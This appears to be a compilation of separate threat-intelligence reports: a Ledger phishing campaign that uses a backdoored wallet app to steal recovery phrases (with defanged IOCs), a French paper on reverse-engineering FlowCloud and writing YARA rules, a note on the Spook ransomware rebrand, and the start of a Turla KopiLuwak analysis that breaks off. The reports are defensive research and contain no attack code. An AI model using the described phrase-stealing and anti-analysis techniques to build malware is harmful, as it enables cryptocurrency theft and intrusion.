In July 2020, cryptocurrency wallet company Ledger revealed a breach of 9,500 customers’ names and contact information. In their announcement, they cautioned users to be aware of credential phishing attempts and stated that they will “never ask [users] for the 24 words of [their] recovery phrase.”
On October 25, 2020, Proofpoint researchers discovered several thousand messages claiming to be from Ledger with subjects like, “Your Ledger Live client may be compromised” and “Your Ledger assets may be at risk.” The messages don’t appear to be targeted at any specific industry or geography.
## Lures
The messages claim that Ledger has experienced a breach and that recipients should assume their “cryptocurrency assets are at risk of being stolen.” The suggested remediation is to download the latest version of Ledger Live and set up a new PIN. In line with Ledger’s real statement following the June breach, the message never suggests that the user will be asked to share their recovery phrase. Instead, at the bottom of the message, a button prompts the recipient to “Download latest version” of Ledger Live.
The button takes the user to a spoofed Ledger Live download page with links to malicious downloads for Windows, MacOS, and Linux. The fake download page is hosted at “hxxps://xn--ledgr-9za[.]com/ledger-live/download/,” and when punycode is rendered in a user’s browser, it appears extremely similar to the real download page URL.
Beyond the URL, the landing page for the malicious download closely mirrors the legitimate Ledger page, appearing to offer downloads for a variety of desktop platforms and mobile. However, there is one notable change. The spoofed version removes the warning to users to “beware of fake Ledger Live applications,” seen on the real page below.
Upon clicking the download button on the spoofed page, the installer is downloaded to the user’s machine. The fake installer and fake Ledger Live have a specific digital signature.
While Proofpoint researchers have not conducted a full analysis on the malware, at the very least the backdoored Ledger Live application is capable of stealing recovery phrases. The Ledger hardware wallets themselves are not targeted in this campaign; instead, users may be tricked into revealing their recovery passphrase through social engineering. A stolen recovery phrase may be used by an actor to generate a copy of the user’s private keys, allowing them to steal any digital currencies associated with those private keys.
To achieve this, the threat actor modified the Ledger Live application to trick users into selecting the “Restore device from Recovery phrase” option. The legitimate Ledger Live application typically has two additional options on the “Get started with your Ledger device” page: “Set up as new device” and “Skip device setup,” which were removed in the backdoored application.
After selecting the “Restore device from Recovery phrase” and choosing a Ledger wallet, the backdoor application’s next step is the “Recovery phrase,” which is normally the third step in the legitimate application. If a user is tricked into providing their recovery phrase in this stage of the backdoored application, the phrase is sent to actor-controlled infrastructure where they may then freely steal any digital currencies associated with that phrase.
To backdoor the application, the actor inserted malicious JavaScript code into renderer.bundle.js, which can be found in Ledger Live’s app.asar file. Version 2.15.0 of Ledger Live was likely used as the basis for the backdoored application, with the legitimate renderer.bundle.js consisting of 405,057 lines while the backdoored render.bundle.js consists of 411,736 lines (6,679 additional).
The malicious code modifies the number of options available on the “Get started with your Ledger device” page based on whether the installation has been “registered” with the attacker’s command and control (C2) server. This is accomplished first with an HTTP GET request to the C2 server and checks for the following response string: “unregistered.” If the server responds with “unregistered,” then only the “noDevice” and “restoreDevice” options are displayed; otherwise, the full list of options is displayed. This request is also sent at every onboarding check.
If a user is tricked into entering their recovery phrase, the malicious code will check each entered word against a hardcoded list of BIP-39 valid words. If the word is found in the list, then a malicious “work()” function is executed until enough words making up the completed mnemonic sentence have been entered. Once all the words have been entered, the full mnemonic sentence is sent to the actor-controlled C2 via an HTTP POST request. Once a recovery phrase has been stolen, the actor is free to generate a private key with that phrase and can then transfer any associated digital currencies to their own wallet.
Sometime on or before October 31, 2020, the actor launched a new campaign that similarly attempts to trick their targets into revealing their recovery phrase. Instead of using a backdoored Ledger Live, however, this campaign is purely web-based. At the time of writing, this campaign has not been observed via email. The landing pages that redirect to a recovery phrase-stealing webpage were likely sent through SMS messages. One recovery phrase-stealing website was hosted at the following punycode URL: hxxps://xn--ldgr-vvac[.]com/update/. Similar to the spoofed Ledger Live download page, the decoded text from the punycode domain was made to look like the official Ledger website (ledger[.]com): lėdgėr[.]com.
After selecting a wallet, the webpage navigates to a time-locked page requesting the target to connect their device. Regardless of whether a device is connected, the page will eventually unlock the Continue button. When clicked, the button presents a fake error message asking the target to select their recovery phrase length. The final page asks for each word to be entered separately, and after all the words are entered, they are sent via a POST request to the same server.
Cryptocurrency wallets and related services have long been attractive targets for threat actors, taking advantage of platforms that may not have the most robust security measures in place. In this case, the actor used well-crafted lures and landing pages attempting to convince the recipient to download a fake update or directly reveal their recovery phrase. The Ledger breach in June may have inadvertently added legitimacy to these messages, as it’s likely still fresh in the minds of Ledger users.
## IOC
| IOC | Type | Description |
|---------------------------------------------------------------------|--------|---------------------------------|
| 0b4578ea4ef643c06a38e28e32791366b72154c00e5dee4ca1a5504d6464de34 | SHA256 | Windows executable file |
| 6a7329062603df5ecec5ac18721621e89c44de594fd639bb3f2669312ef627a1 | SHA256 | Windows executable file |
| cc04fd1e8e724836e8899d2d64ef96751ba4ab6460e7b82980b17560ba3fa383 | SHA256 | Windows executable file |
| 307d9f5e4b85d1209753a90220cb3cf6e590288af57d81fb6a282c5d1a6d68df | SHA256 | Windows executable file |
| 1af3f4a139deef1054879aa754ffc71a63b3a1d1492ed4682c1526d37b3be3ff | SHA256 | MacOS DMG file |
| 4b85edf75077876a0fae88db7799efa24dae7a9c84a19eb9f73c19779af4cb8f | SHA256 | MacOS DMG file |
| 2575a121711d6d5651cf15c0e39f18762251a1211a20763c4afd802d644e9153 | SHA256 | MacOS DMG file |
| d35433a803d4a417d41ff04b20f490d003cdc93027be61a2eed0581e65b06b19 | SHA256 | MacOS DMG file |
| 82f0fbb88b972a9235370e7011303a4588c84cde8fa2a33ed6e24241af2e009b | SHA256 | Linux AppImage file |
| 0e8866d42d999e240ce358e872581fc5e63ac9fd2750ee3b9a66bd0ad118552e | SHA256 | Linux AppImage file |
| 9afec97203b8571dda7c38aaa7c8ddb7b5387632e2d83f99f630f8634a2178d3 | SHA256 | Linux AppImage file |
| hxxps://xn--ledgr-9za[.]com/ledger-live/download/ | URL | Spoofed Ledger landing page |
| t-mobile-sq[.]com | Domain | Actor infrastructure |
| homeandfamilyuniverse[.]com | Domain | Actor infrastructure |
| kryptosproject[.]or | Domain | Actor infrastructure |
| ledger-live[.]io | Domain | Actor infrastructure |
| quikview-update[.]com | Domain | Actor infrastructure |
| quikview[.]app | Domain | Actor infrastructure |
| lmao[.]money | Domain | Actor infrastructure |
| dogcat[.]space | Domain | Actor infrastructure |
| xn--ledgr-9za[.]com | Domain | Actor infrastructure |
| xn--ledgr-q51b[.]com | Domain | Actor infrastructure |
| loldevs[.]com | Domain | Actor infrastructure |
| ledgersupport[.]io | Domain | Actor infrastructure |
| funnerhere[.]com | Domain | Actor infrastructure |
| legder[.]com | Domain | Actor infrastructure |
| dogcowbat[.]com | Domain | Actor infrastructure |
| theironshop[.]net | Domain | Actor infrastructure |
| ledger[.]medio | Domain | Actor infrastructure |
| tmobile[.]digital | Domain | Actor infrastructure |
| quikview[.]work | Domain | Actor infrastructure |
| xn--ldger-n51b[.]com | Domain | Actor infrastructure |
| secure[.]hbccing[.]com | Domain | Actor infrastructure |
| ledger-support[.]io | Domain | Actor infrastructure |
| ledger[.]deals | Domain | Actor infrastructure |
| ledger[.]legal | Domain | Actor infrastructure |
| ledgermailer[.]io | Domain | Actor infrastructure |
| ledger[.]buzz | Domain | Actor infrastructure |
| xn--ledge-xbb[.]com | Domain | Actor infrastructure |
| xn--ldger-6za[.]com | Domain | Actor infrastructure |
| legder-support[.]io | Domain | Actor infrastructure |
| ledger[.]report | Domain | Actor infrastructure |
| com-client[.]email | Domain | Actor infrastructure |
| numisconsult[.]com | Domain | Actor infrastructure |
| usa-ledger[.]com | Domain | Actor infrastructure |
| ledger-chain[.]info | Domain | Actor infrastructure |
| ledger-chain[.]com | Domain | Actor infrastructure |
| fr-ledger[.]com | Domain | Actor infrastructure |
| xn--ldgr-vvac[.]com | Domain | Actor infrastructure |
| ledger[.]uk[.]com | Domain | Actor infrastructure |
| au-ledger[.]com | Domain | Actor infrastructure |
| ledger[.]jpn[.]com | Domain | Actor infrastructure |
| us-ledger[.]com | Domain | Actor infrastructure |
| ca-ledger[.]com | Domain | Actor infrastructure |
| de-ledger[.]com | Domain | Actor infrastructure |
| ledger[.]org[.]pl | Domain | Actor infrastructure |
| nl-ledger[.]com | Domain | Actor infrastructure |
| it-ledger[.]com | Domain | Actor infrastructure |
| nz-ledger[.]com | Domain | Actor infrastructure |
| ledger[.]us[.]org | Domain | Actor infrastructure | |
# La rétro-ingénierie de code malveillant dans la CTI - Analyse de l’évolution d’une chaîne d’infection
**Charles Meslay**
[email protected]
Sekoia.io
**Résumé.** Cet article a pour but de présenter le rôle de la rétro-ingénierie des codes malveillants dans le domaine du renseignement sur la menace cyber ou Cyber Threat Intelligence (CTI). Après un bref rappel de ce qu’est la CTI, nous partirons d’un cas réel d’investigation autour de la chaîne d’infection du code FlowCloud lié à un mode opératoire adverse nommé « TA410 ». Cet article présentera les mécanismes de protection de ce code : mécanismes anti-analyse et chiffrement des différentes étapes de la chaîne d’infection. Les résultats de ces travaux seront ensuite utilisés afin de créer une nouvelle règle de détection YARA qui permettra de trouver un nouveau variant disposant de zéro détection sur VirusTotal.
## 1 Introduction
### 1.1 Qu’est-ce que la CTI?
La Cyber Threat Intelligence (CTI) ou renseignement sur la menace cyber correspond à l’étude des groupes d’attaquants informatiques. Ce domaine de recherche, multidisciplinaire, a pour but d’étudier les modes opératoires adverses (MOA) dans le but de les détecter au plus tôt pour se protéger de ceux-ci. La CTI s’articule autour de plusieurs domaines d’expertise. Pour faciliter la compréhension, nous nous limitons ici à uniquement trois d’entre eux.
Le premier n’est pas technique, mais lié à la connaissance stratégique. Le but de ce domaine est d’étudier le contexte dans lequel sont effectuées les attaques, qu’il s’agisse de campagnes étatiques ou cybercriminelles. L’analyse des enjeux politiques entre pays peut ainsi permettre d’expliquer certaines attaques et donc d’anticiper de futures opérations adverses. Cette compétence intègre aussi une connaissance de l’organisation des groupes d’attaquants. Cela peut aussi bien correspondre à l’étude de l’organisation de groupes cybercriminels que l’organisation cyber d’un État.
Un deuxième domaine lié à la CTI est l’étude des groupes d’attaquants via le suivi de leur infrastructure. Comme présenté lors de l’édition 2023 du SSTIC par Charles Hourtoule et Simon Msika, un MOA comme Mustang Panda, réputé d’origine chinoise, peut être suivi via des spécificités dans la configuration de leurs serveurs : l’identification d’un motif dans le certificat d’un serveur permet d’illuminer une partie de l’infrastructure de l’attaquant. Ainsi, un suivi continu de cette infrastructure permettra de détecter une compromission non pas via les traces laissées sur un poste mais via les connexions réseaux.
Enfin, un dernier domaine est l’analyse des codes malveillants utilisés par un MOA. Bien que les objectifs soient multiples, cette analyse permet de documenter de façon précise les codes utilisés afin :
- d’en extraire des indicateurs de compromissions ;
- d’identifier des moyens de remédiations ;
- de rapprocher des menaces entre elles et ainsi de suivre une menace dans le temps.
Cet article a pour but d’explorer ce dernier domaine. Nous tenterons d’expliquer comment l’analyse de code via la rétro-ingénierie permet de suivre l’évolution de codes malveillants via l’exemple du code FlowCloud associé au mode opératoire TA410.
### 1.2 Présentation du MOA TA410 et de la chaîne d’infection de FlowCloud
TA410 est un MOA supposé d’origine chinoise actif depuis au moins 2019. Ce MOA a été pour la première fois documenté en 2020 par ProofPoint à l’occasion d’une campagne d’attaque contre des fournisseurs d’énergie aux États-Unis. La description de cette campagne par Proofpoint fait état d’un implant nommé FlowCloud, qui donne un accès complet au système compromis.
En avril 2022, les chercheurs d’ESET ont décrit de façon détaillée la chaîne d’infection et les fonctionnalités de FlowCloud. La chaîne d’infection est assez complexe mais est typique des chaînes d’infection habituellement rencontrées. Sans rentrer dans l’ensemble de la chaîne d’infection, nous pouvons retenir que celle-ci commence par la création d’un service qui exécutera une application vulnérable à du « DLL-side-loading » afin de charger une DLL malveillante. Cette DLL, nommée XXXModule_dlcore0, charge une autre DLL qui elle-même déchiffre et exécute un autre code qui chargera FlowCloud.
### 1.3 YARA, un outil de signature de code
Dans les annexes de l’article de blog, ESET fournit des hashes de fichiers qu’il est possible de récupérer sur VirusTotal ainsi que plusieurs « règles YARA » dont une sur les techniques anti-analyses de FlowCloud. YARA est un outil permettant d’effectuer des recherches dans des fichiers à partir de règles dans lesquelles des recherches sur des motifs spécifiques sont définis (qu’il s’agisse de chaînes de caractères ou directement basés sur une suite d’octets). Des règles YARA sont ainsi utilisées afin de « signer » des codes (ou des sous-parties de codes).
Un des objectifs du travail de rétro-ingénierie est d’identifier des motifs spécifiques aux maliciels afin de pouvoir les détecter et les classer. C’est ce qui est fait ici par ESET en fournissant à la communauté une règle YARA qui signe les mécanismes anti-analyse utilisés dans FlowCloud.
Une règle YARA est généralement divisée en trois sections :
- la section condition est une expression booléenne qui définit la logique de la règle en utilisant les variables définies dans la section strings ;
- la section strings permet de définir des variables utilisables dans la section condition ;
- la section meta permet de définir des métadonnées.
Cette règle vérifie la présence de deux choses :
- `uint16(0) == 0x5a4d` : qui correspond à la présence des octets 0x4d 0x5a au début du fichier. Il s’agit ici de vérifier la présence de l’en-tête MZ spécifique aux fichiers PE sous Windows.
- la présence de la valeur `$chunk_1` (via les mots clés « all of them »). Cette variable contient une suite d’octets correspondant à une séquence particulière de code assembleur. L’auteur de cette règle a précisé le sens de ces octets en commentaire.
L’intérêt de créer des règles YARA est multiple. Tout d’abord, d’un point de vue détection, l’objectif est de pouvoir analyser les fichiers d’un système au regard de ses règles afin d’identifier des codes malveillants. Cela peut par exemple être utilisé par des EDR (« Endpoint Detection Response ») ou des antivirus. Un autre intérêt est de pouvoir suivre dans le temps l’évolution des codes malveillants ou tenter de trouver de nouveaux variants en soumettant ces règles à des bases de données de fichiers.
Il est important de noter que la création d’une règle YARA nécessite toujours d’effectuer un compromis entre :
- définir des critères suffisamment précis pour être sûr qu’une règle est spécifique à un code particulier, c’est-à-dire réduire au maximum le nombre de faux positifs ;
- être suffisamment générique afin de détecter, si possible, tous les codes de cette famille, c’est-à-dire réduire au maximum le nombre de faux négatifs.
Dans la suite de cet article, nous montrerons la démarche que nous avons adoptée afin d’analyser des variants du chargeur de FlowCloud ainsi que la création d’une règle YARA pertinente.
## 2 Suivi de la menace dans le temps via le chargeur de FlowCloud
L’article d’ESET contient des Indicateurs de Compromissions (« Indicator Of Compromises » ou « IoC »). Parmi ces IoCs, des hashes de fichiers sont présents. L’un d’eux étant disponible sur VirusTotal, nous décidons de débuter notre investigation par l’analyse de ce fichier.
Dans ce chapitre, nous présenterons les principales étapes de la rétro-ingénierie de ce code ainsi que d’autres variants connus dans le but de comprendre les spécificités de ces codes. Nous pourrons ensuite en extraire des motifs spécifiques pour créer notre propre règle YARA. Celle-ci sera enfin utilisée pour tenter d’identifier de nouveaux variants.
### 2.1 Analyse du fichier initial
Après avoir récupéré le fichier sur VirusTotal, nous pouvons procéder à son analyse. Lors de l’ouverture du logiciel malveillant à l’intérieur d’un outil tel que IDA Pro, on constate qu’il échoue à l’analyse. En effet, de nombreuses portions de code sont considérées par IDA Pro comme des données brutes (IDA Pro n’a pas réussi à désassembler ces octets) ou comme des instructions en dehors d’une fonction (IDA Pro n’a pas été capable de reconstruire la fonction associée).
Comme nous allons le voir, l’analyse dans IDA Pro a échoué à cause d’une technique d’obfuscation utilisée dans ce code. Cette technique anti-analyse correspond à la portion de code signée par la règle YARA.
Pour comprendre ce qu’il se passe ici, prenons le temps de comprendre comment fonctionne IDA Pro. Le désassembleur d’IDA Pro traite tous les octets les uns à la suite des autres. Ainsi, lorsqu’il arrive à l’adresse 0x100010B7, le désassembleur :
1. identifie que cette instruction est codée sur deux octets et qu’il s’agit d’un saut conditionnel vers l’adresse 0x100010BA ;
2. désassemble l’instruction suivante, qui commence à l’adresse 0x100010B9 dont la taille est de deux octets. Cette instruction aura pour effet d’effectuer un saut vers, elle aussi, l’adresse 0x100010BA.
Ici, nous voyons que le désassembleur, qui réalise une analyse séquentielle des octets, est mis en défaut puisque la prochaine instruction exécutée est à l’adresse 0x100010BA qui est au milieu d’une instruction. Cette technique est ainsi appelée « Jump In The Middle ».
À partir de cette adresse, nous pouvons considérer le désassembleur comme « désynchronisé » par rapport au flux d’exécution réel du programme : les instructions suivantes ne correspondent alors plus aux instructions réellement exécutées par le programme.
Dans ce cas, le travail du rétro-analyste est d’aider le désassembleur à gérer cette situation. Pour cela, une solution est de supprimer l’instruction à l’adresse 0x100010B9 et d’en créer une nouvelle à l’adresse 0x100010BA. Cela permet de voir que cette nouvelle instruction est un saut inconditionnel, « jump eax » où la valeur de eax dépend du retour de la fonction sub_10001d30.
Nous ne rentrerons pas dans le détail de la fonction sub_10001D30, mais celle-ci est utilisée pour vérifier que la DLL ne s’exécute pas dans une sandbox. L’exécution dans un débogueur permet de voir que la valeur de retour, eax vaut :
- 1 si le code détecte un environnement d’analyse. Dans ce cas, le jmp eax effectue un saut vers l’adresse 0x11, ce qui génère une erreur.
- L’adresse de retour de la fonction sub_10001D30, c’est-à-dire 0x100010AF dans le cas présent. Le jmp eax effectuera donc un saut vers l’adresse 0x100010AF+0x10=0x100010BF.
Nous pouvons alors simplifier le code en remplaçant certains octets par la valeur 0x90 qui correspond à l’instruction « no operation » :
- les octets qui correspondent aux instructions de saut ;
- les trois octets à partir de l’adresse 0x100010BC car ces octets ne sont jamais « exécutés ».
En résultat, nous obtenons une version simplifiée mais équivalente à ce qui est réellement exécuté.
Notons que la fonction sub_10001D50 est une autre anti-debug. Si le résultat est 1, le processus se termine.
Dans cet exemple, nous avons manuellement aidé IDA Pro, mais ce motif (ainsi que les fonctions anti-debug) est répété de multiples fois. Il est alors nécessaire d’automatiser le processus de suppression de ces motifs et des appels aux fonctions anti-debug. Dans ce cas précis, il est possible de remplacer l’ensemble des octets par des octets « no operation ». En effet, le rôle de ces octets est uniquement lié à de la détection d’environnement d’analyse.
En se basant sur l’exemple de plugin IDA Pro de Rolf Rolles, il suffit alors de modifier la fonction ev_ana_insn. Ce script est assez simple : il vérifie que l’octet courant est le début d’un bloc à supprimer. Si c’est le cas, nous remplaçons ce bloc par 37 instructions « no operation ». IDA Pro est alors en capacité de reconstruire la fonction et de produire un code décompilé automatiquement. Après quelques renommages de variables et fonctions, retypages triviaux et l’ajout de quelques commentaires, on obtient le code C.
Il est ainsi assez aisément d’identifier les principales étapes de cette fonction :
1. récupération du chemin actuel de l’exécutable ;
2. ouverture et lecture du fichier setlangloc.dat. Le contenu est copié dans une zone mémoire nouvellement allouée ;
3. création d’un patch pour modifier certaines instructions dans ce processus afin d’appeler le code à l’intérieur de setlangloc.dat ;
4. application de ce patch.
Une première piste identifiée pour créer une nouvelle règle YARA est d’utiliser les données du patch. Ces octets pourront être utilisés pour créer un nouveau motif de détection dans notre règle YARA.
### 2.2 Analyse de variants
À partir de la règle YARA sur le motif anti-analyse, deux autres fichiers sont trouvés sur VirusTotal que nous nommerons « Variant A » et « Variant B ». Ces fichiers sont connus comme étant également liés à FlowCloud. Dans le but d’améliorer notre signature, nous allons analyser ces fichiers afin d’identifier leurs caractéristiques et spécificités.
**Variant A.** Ce variant présente de nombreuses similarités avec le chargeur initial de FlowCloud. Néanmoins, lors de son chargement dans IDA Pro, et malgré le script précédemment créé, le désassemblage échoue. Nous observons rapidement qu’un autre motif anti-analyse est présent.
Cette technique consiste à sauvegarder une valeur de eax sur la pile, mettre eax à zéro puis restaurer la valeur de eax. La mise à zéro de eax a pour effet que le saut conditionnel « jz » est pris. Le flux d’exécution saute alors au milieu du « call » suivant.
La figure présente le résultat après une correction manuelle de cette obfuscation. Nous remarquons qu’elle est immédiatement suivie du motif anti-analyse présenté précédemment. Nous pouvons donc mettre à jour notre script de désobfuscation afin de prendre en compte cette nouvelle technique.
Notons qu’une autre technique d’obfuscation est présente. Celle-ci n’empêche pas l’analyse par IDA Pro, mais a pour effet de rajouter des variables au code obtenu après décompilation. Après avoir traité cette technique de la même façon que les précédentes, nous pouvons recharger ce fichier dans IDA Pro. Nous observons que le désassemblage est correctement effectué.
Comme précédemment, cette figure n’a fait l’objet que de quelques renommages et ajouts de commentaires. Nous pouvons assez rapidement observer que ce code est similaire au code obtenu précédemment. Néanmoins, bien que de nombreuses similarités existent, nous observons trois différences avec le fichier initial :
- la première correspond au nom de fichier utilisé pour l’étape suivante. Auparavant, celui-ci était récupéré via plusieurs appels de fonctions. Maintenant, ce nom de fichier est déchiffré dans une fonction dédiée.
- la seconde différence correspond au chargement du contenu de l’étape suivante. Dans le premier fichier, un simple memcpy était utilisé pour copier le contenu du fichier. Dans ce nouveau variant, une fonction est appelée afin de déchiffrer l’étape suivante.
- Enfin, une troisième différence correspond à l’application du patch. Ici, l’application du patch est déportée dans une autre fonction.
**Variant B.** Le deuxième variant est très proche du premier variant. Il dispose par exemple des mêmes fonctions de chiffrement et du même mécanisme de dérivation de clé. Cela nous indique qu’il peut être intéressant de signer aussi ces mécanismes pour les inclure dans une règle YARA.
Un fait de comparaison intéressant entre ces trois versions est le nombre d’occurrences des motifs d’obfuscation. Les résultats montrent que le dernier variant ne dispose que d’une seule occurrence du motif initial signé par la règle YARA d’ESET. Une hypothèse est que cette obfuscation a vocation à disparaître dans les prochaines versions. Cela peut donc inciter à réaliser une nouvelle règle YARA dont la présence de ce motif est optionnelle.
### 2.3 Création de nouvelles signatures
À ce stade, nous disposons d’une règle YARA qui se base uniquement sur un motif anti-analyse. Or, comme nous avons pu le voir, toutes ces variantes disposent de plusieurs similarités (fonctions cryptographiques) mais aussi de deux nouvelles techniques anti-analyse.
Nous pouvons donc tenter de créer une nouvelle règle YARA basée sur de nouvelles heuristiques :
- les mécanismes de déchiffrement (du nom du fichier et du contenu de celui-ci) ;
- le mécanisme de dérivation de la clé pour le déchiffrement du contenu du fichier ;
- les deux nouveaux motifs anti-analyse ;
- les octets du patch appliqué.
Signer des algorithmes cryptographiques peut être intéressant si l’implémentation est spécifique au code étudié. Dans le cas présent, le déchiffrement du contenu du fichier correspondant juste à une addition suivant un xor ne semble pas opportun. En effet, cela pourrait mener à de nombreux faux positifs.
Par contre, bien que nous n’ayons pas abordé cette partie dans cet article par soucis de clarté, le déchiffrement du nom du fichier semble plus spécifique.
Au final, notre nouvelle règle YARA est présentée. Ici, notre objectif est de trouver de nouveaux fichiers. Nous décidons donc de faire en sorte que cette règle soit assez laxiste. C’est pourquoi nous décidons d’utiliser la directive « 2 of them » et non « all of them » afin que cette règle vérifie les fichiers ne disposant que deux de ces cinq motifs.
La création d’une règle YARA n’est pas une fin en soi. En effet, ces règles doivent être capitalisées afin qu’elles soient confrontées aux nouveaux fichiers soumis à détection. De plus, il est généralement conseillé de confronter ces règles à des bases de données de fichiers existantes. Cette dernière fonctionnalité est souvent appelée « RetroHunt ».
### 2.4 Nouveau variant
Cette nouvelle règle YARA nous a permis de récupérer un nouveau fichier sur VirusTotal nommé msedgeupdate.dll, téléversé en septembre 2023. En novembre 2023, lorsque nous avons réalisé cette investigation, ce fichier n’était détecté par aucun antivirus.
L’objectif de ce chapitre est donc d’analyser ce fichier pour savoir s’il s’agit bien d’un nouveau variant ou pas et de s’assurer que notre règle est bien pertinente.
**Analyse de msedgeupdate.dll.** Tout d’abord, nous pouvons vérifier que ce fichier vérifie quatre des motifs créés :
- `$decryption_function`
- `$patch_bytes`
- `$new_pattern_1`
- `$new_pattern_2`
Le seul motif non présent dans cet implant est celui relatif au mécanisme de dérivation de clé. Notons de plus que le motif identifié dans la règle YARA d’ESET n’est pas présent.
Notre plugin de désobfuscation nous permet de facilement supprimer les mécanismes anti-analyse et de retrouver très rapidement une fonction ressemblant à ce que nous avons observé précédemment. Contrairement aux précédents variants, nous pouvons voir que le nom du fichier à charger n’est pas chiffré mais est issu d’un nom de fichier courant. L’extension dll est remplacée par dat. Ainsi, le nom du fichier utilisé pour l’étape d’après est msedgeupdate.dat. Notons que même si le nom de fichier n’est pas chiffré, la fonction de déchiffrement est présente dans la DLL.
La fonction de déchiffrement du contenu du fichier est un peu différente. Contrairement aux variants précédents, le mécanisme de dérivation de clé n’est plus présent. La clé (sur un octet) est ainsi codée en dur et vaut 0x7b. Il est intéressant de noter que cette valeur correspond au résultat de l’algorithme de dérivation de clé utilisé précédemment.
La fonction relative au patch partage aussi des caractéristiques identiques avec les précédents fichiers, notamment la même séquence d’octets.
À ce stade, nous pouvons avoir une confiance élevée sur le fait qu’il s’agit bien d’un nouveau variant associé à FlowCloud. Mais essayons d’aller plus loin.
**Analyse de msedgeupdate.dat.** Nous avons vu que le fichier msedgeupdate.dll a pour objet le chargement et le déchiffrement d’un fichier nommé msedgeupdate.dat. Par chance, nous pouvons retrouver sur VirusTotal un fichier nommé msedgeupdate.dat téléversé en même temps que ce nouveau variant.
Une première ouverture de ce fichier dans un éditeur de texte montre que ce fichier semble être un fichier de données inintelligible. Cela est cohérent avec notre analyse puisque l’étape précédente commençait par déchiffrer ce fichier. Lorsque nous déchiffrons manuellement ce fichier, nous obtenons bien un shellcode qui s’autodéchiffre afin d’obtenir une nouvelle DLL protégée par VMProtect.
Un élément intéressant ici est que la fonction de déchiffrement dispose du même mécanisme de dérivation de clé que précédemment. Ainsi, dans ce nouveau fichier déchiffré, nous retrouvons le seul motif de notre règle YARA qui n’était pas présent dans le fichier msedgeupdate.dll.
La dernière étape est plus compliquée à analyser du fait des protections assurées par VMProtect. Néanmoins, nous avons une confiance très élevée sur le fait que ce fichier est une nouvelle variante de la chaîne d’infection de FlowCloud d’autant plus que :
- l’utilisation de VMProtect par FlowCloud est déjà documentée.
- le serveur de commande & contrôle (C2) avec lequel communiquait l’implant disposait de similarités avec d’anciens C2 connus de FlowCloud.
## 3 Conclusion
En conclusion, cet article avait pour but de présenter la CTI sous l’angle de la création de règles YARA via la rétro-ingénierie de logiciel malveillant. Bien que la création de règles YARA ne soit pas l’unique but du travail d’un analyste CTI, il n’en reste pas moins un élément de base dans le suivi des MOA permettant le suivi de leurs codes et de leur évolution dans le temps. L’exemple pris avait pour but de proposer une approche pas à pas de l’étude d’un code et de la création d’une règle YARA. Enfin, nous espérons avoir intéressé le lecteur via l’analyse d’exemples réels d’une famille de codes malveillants. |
# Prometheus x Spook: Prometheus Ransomware Rebranded as Spook Ransomware
**S2W**
**October 5, 2021**
**3 min read**
## Executive Summary
Spook ransomware started on September 26th, 2021. The double extortion site of Spook ransomware is similar to the double extortion site of Prometheus ransomware. Spook ransomware is very similar to Prometheus ransomware with ransom notes and websites. Hence, Prometheus ransomware was rebranded to Spook ransomware and is still using Thanos Builder.
## Detailed Analysis
1. Prometheus ransomware was rebranded to Spook ransomware.
1.1. Prometheus ransomware was last updated on July 13th, 2021. The double extortion site operated by Prometheus last updated the information of infected victim companies on July 13th, 2021.
1.2. Spook ransomware started on September 26th, 2021. Spook ransomware published the information of infected victim companies starting on September 26th, 2021.
2. Prometheus x Spook: Spook ransomware is the same as Prometheus ransomware.
2.1. The ransom note of Spook ransomware is similar to the ransom note of Prometheus ransomware. Key Identifier is the signature method of Thanos builder. When the user created the ransomware using Thanos, we can check the signature of “Key Identifier” on the ransom note. Based on this signature, we have confirmed that Prometheus ransomware and Spook ransomware were generated by Thanos builder.
2.2. The negotiation page of Spook ransomware is similar to the ransom note of Prometheus ransomware.
2.3. The files and resources related to victims are located on the same path.
- Spook ransomware: `http://spookuhv****.onion/blog/wp-content/uploads/2021/05/1-15.png`
- Prometheus ransomware: `http://promethw****.onion/blog/wp-content/uploads/2021/05/1-15.png`
In this path, the webserver has the files of victims infected by Prometheus ransomware. Hence, they are operating the same web server for the double extortion site.
## Resources
1. All posts published the same string.
2. Show the status of negotiation with victims through the field.
3. Move the posts using the tabs.
## Conclusion
Spook ransomware was rebranded from Prometheus ransomware. They derive from Thanos and use similar UI and resources to Prometheus ransomware. Prometheus ransomware and Spook ransomware are the same ransomware attack group through the same string and the resources on the double extortion site. |
# Turla APT Actor Refreshes KopiLuwak JavaScript Backdoor for Use in G20-Themed Attack
**AUGUST 17, 2017**
**Darien Huss**
## Overview
Proofpoint researchers have observed a well-known Russian-speaking APT actor usually referred to as Turla using a new .NET/MSIL dropper for an existing backdoor called JS/KopiLuwak. The backdoor has been analyzed previously and is a robust tool associated with this group, likely being used as an early stage reconnaissance tool.
In this case, the dropper is being delivered with a benign and possibly stolen decoy document inviting recipients to a G20 task force meeting on the "Digital Economy". The Digital Economy event is actually scheduled for October of this year in Hamburg, Germany. The dropper first appeared in mid-July, suggesting that this APT activity is potentially ongoing, with Turla actively targeting G20 participants and/or those with interest in the G20, including member nations, journalists, and policymakers. This blog provides details on the dropper and known information on the infection chain and current related Turla activity.
## Actor Overview
Turla is a well-documented, long-operating APT group that is widely believed to be a Russian state-sponsored organization. Turla is perhaps most notoriously suspected as responsible for the breach of the United States Central Command in 2008. More recently, Turla was accused of breaching RUAG, a Swiss technology company, in a public report published by GovCERT.ch. Various other Turla frameworks, implants, and campaigns have been detailed extensively by our fellow security organizations and companies.
## Delivery
The delivery of KopiLuwak in this instance is currently unknown as the MSIL dropper has only been observed by Proofpoint researchers on a public malware repository. Assuming this variant of KopiLuwak has been observed in the wild, there are a number of ways it may have been delivered including some of Turla’s previous attack methods such as spear phishing or via a watering hole. Based on the theme of the decoy PDF, it is very possible that the intended targets are individuals or organizations that are on or have an interest in G20’s Digital Economy Task Force. This could include diplomats, experts in the areas of interest related to the Digital Economy Task Force, or possibly even journalists.
## Analysis
The earliest step in any possible attack(s) involving this variant of KopiLuwak of which Proofpoint researchers are currently aware begins with the MSIL dropper. The basic chain of events upon execution of the MSIL dropper includes dropping and executing both a PDF decoy and a JavaScript (JS) dropper. The JS dropper ultimately installs a JS decryptor onto an infected machine that will then finally decrypt and execute the actual KopiLuwak backdoor in memory only.
As Proofpoint has not yet observed this attack in the wild, it is likely that there is an additional component that leads to the execution of the MSIL payload. This may include a malicious document, compressed package attached to an e-mail, or perhaps it could be delivered via a watering hole attack.
The KopiLuwak MSIL dropper is straightforward and contains absolutely no obfuscation or anti-analysis. Internally the MSIL dropper is called Runer.exe and also contains a PDB string: “c:\LocalDisc_D\MyProjects\Runer\Runer\obj\Release\Runer.pdb”. The Stage1 JS and PDF decoy are both stored in plaintext in the dropper and are simply written to %APPDATA% then executed.
